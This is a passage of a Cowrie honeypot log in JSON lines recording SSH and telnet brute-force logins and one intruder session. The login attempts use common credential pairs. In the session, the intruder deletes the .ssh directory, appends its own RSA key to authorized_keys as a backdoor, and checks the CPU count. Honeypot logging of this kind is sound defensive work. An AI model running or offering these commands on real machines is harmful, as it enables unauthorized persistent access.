h-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:02.860507Z","src_ip":"103.188.177.46","session":"cc632e9f4b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZqaz123","message":"login attempt [root/QAZqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:03.845195Z","src_ip":"103.188.177.46","session":"cc632e9f4b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:05.090000Z","src_ip":"103.188.177.46","session":"cc632e9f4b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.98595070838928,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:06.031198Z","src_ip":"152.42.224.71","session":"bb9381b74d3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.351154804229736,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:07.523670Z","src_ip":"152.42.224.71","session":"9096f4ed185b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53108,"dst_ip":"10.17.0.5","dst_port":23,"session":"de8bb8d8038c","protocol":"telnet","message":"New connection: 152.42.224.71:53108 (10.17.0.5:23) [session: de8bb8d8038c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:16.708688Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":52116,"dst_ip":"159.203.135.109","dst_port":22,"session":"0445a566ac55","protocol":"ssh","message":"New connection: 43.133.62.188:52116 (159.203.135.109:22) [session: 0445a566ac55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:21.629493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:21.634453Z","src_ip":"43.133.62.188","session":"0445a566ac55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:21.872747Z","src_ip":"43.133.62.188","session":"0445a566ac55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student1","password":"student1","message":"login attempt [student1/student1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:22.858921Z","src_ip":"43.133.62.188","session":"0445a566ac55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:24.100517Z","src_ip":"43.133.62.188","session":"0445a566ac55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.25130271911621,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:25.404814Z","src_ip":"152.42.224.71","session":"3eae624f0714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00152468681335,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:26.239637Z","src_ip":"152.42.224.71","session":"2241a6acd483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51856,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee74a6316a19","protocol":"ssh","message":"New connection: 103.27.238.120:51856 (159.203.135.109:22) [session: ee74a6316a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:28.764890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:28.770345Z","src_ip":"103.27.238.120","session":"ee74a6316a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:29.029240Z","src_ip":"103.27.238.120","session":"ee74a6316a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matilda","message":"login attempt [root/matilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:29.809109Z","src_ip":"103.27.238.120","session":"ee74a6316a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44490,"dst_ip":"10.17.0.5","dst_port":22,"session":"c999b54c8171","protocol":"ssh","message":"New connection: 193.37.70.224:44490 (10.17.0.5:22) [session: c999b54c8171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:30.774220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:30.779495Z","src_ip":"193.37.70.224","session":"c999b54c8171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:30.872937Z","src_ip":"193.37.70.224","session":"c999b54c8171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":58262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b625d2d1571","protocol":"ssh","message":"New connection: 102.210.148.92:58262 (159.203.135.109:22) [session: 7b625d2d1571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:31.016957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:31.022867Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:31.069532Z","src_ip":"103.27.238.120","session":"ee74a6316a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undertaker","message":"login attempt [root/undertaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:31.156656Z","src_ip":"193.37.70.224","session":"c999b54c8171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:31.272889Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:32.252600Z","src_ip":"193.37.70.224","session":"c999b54c8171","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:32.306953Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:32.861394Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:32.864611Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:32.868061Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:33.365942Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:33.662878Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:33.666542Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:33.922386Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:33.926110Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":58266,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2e93736d283","protocol":"ssh","message":"New connection: 102.210.148.92:58266 (159.203.135.109:22) [session: a2e93736d283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:34.166237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:34.171085Z","src_ip":"102.210.148.92","session":"a2e93736d283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:34.418172Z","src_ip":"102.210.148.92","session":"a2e93736d283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:35.439667Z","src_ip":"102.210.148.92","session":"a2e93736d283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:36.690949Z","src_ip":"102.210.148.92","session":"a2e93736d283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":48044,"dst_ip":"159.203.135.109","dst_port":22,"session":"5605710dd9f9","protocol":"ssh","message":"New connection: 102.210.148.92:48044 (159.203.135.109:22) [session: 5605710dd9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:36.937374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:36.941895Z","src_ip":"102.210.148.92","session":"5605710dd9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:37.215932Z","src_ip":"102.210.148.92","session":"5605710dd9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:38.248900Z","src_ip":"102.210.148.92","session":"5605710dd9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:39.504266Z","src_ip":"102.210.148.92","session":"5605710dd9f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:39.829325Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:39.832806Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
